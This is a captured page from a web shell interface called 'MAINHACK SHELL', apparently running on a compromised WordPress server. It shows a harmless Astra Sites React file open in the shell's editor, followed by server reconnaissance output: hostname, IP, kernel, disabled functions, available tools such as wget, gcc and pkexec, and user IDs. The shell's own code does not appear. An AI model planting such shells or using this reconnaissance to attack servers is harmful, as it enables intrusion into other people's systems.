[
MAINHACK SHELL
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.js.tar
inc/lib/onboarding/assets/src/steps/customize-site/customize-steps/license-validation/index.js 0000644 00000003462 15147776425 0043075 0 ustar 00 home/inceptionblue/public_html/wp-content/plugins/astra-sites import React, { useEffect } from 'react'; import { __ } from '@wordpress/i18n'; import { useStateValue } from '../../../../store/store'; import ChangeTemplate from '../../../../components/change-template'; import Button from '../../../../components/button/button'; import { whiteLabelEnabled } from '../../../../utils/functions'; const { imageDir } = starterTemplates; const LicenseValidation = () => { const [ { builder }, dispatch ] = useStateValue(); useEffect( () => { dispatch( { type: 'set', designStep: 2, } ); }, [] ); const accessLinkOutput = __( `This is a premium template and comes with our Essentials and Business Toolkits. <br/><br/> Get access to this premium template and 100+ more.`, 'astra-sites' ); const getAccessLink = () => { window.open( astraSitesVars.cta_links[ builder ] ); }; const getwhiteLabelLink = () => { if ( astraSitesVars.whiteLabelUrl !== '#' ) { window.open( astraSitesVars.whiteLabelUrl ); } }; return ( <> <ChangeTemplate /> <div className="customizer-header"> <div className="header-name"> { ! whiteLabelEnabled() && ( <> <h3 className="ist-customizer-heading"> { __( 'Liked this Starter Template?', 'astra-sites' ) } </h3> <p className="screen-description" dangerouslySetInnerHTML={ { __html: accessLinkOutput, } } /> </> ) } <Button className="st-access-btn" onClick={ whiteLabelEnabled() ? getwhiteLabelLink : getAccessLink } > { __( 'Unlock Access', 'astra-sites' ) } <img className="st-get-access" alt="Get Access" src={ `${ imageDir }get-access.svg` } /> </Button> </div> </div> </> ); }; export default LicenseValidation;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.isorus.org
Server IP: 159.223.142.74
PHP Version: 7.4.33
Server Software: Apache
System: Linux server.isorus.org 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
HDD Total: 319.99 GB
HDD Free: 212.36 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
Off
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: inceptionblue
User ID (UID): 1042
Group ID (GID): 1043
Script Owner UID:
Current Dir Owner: 1042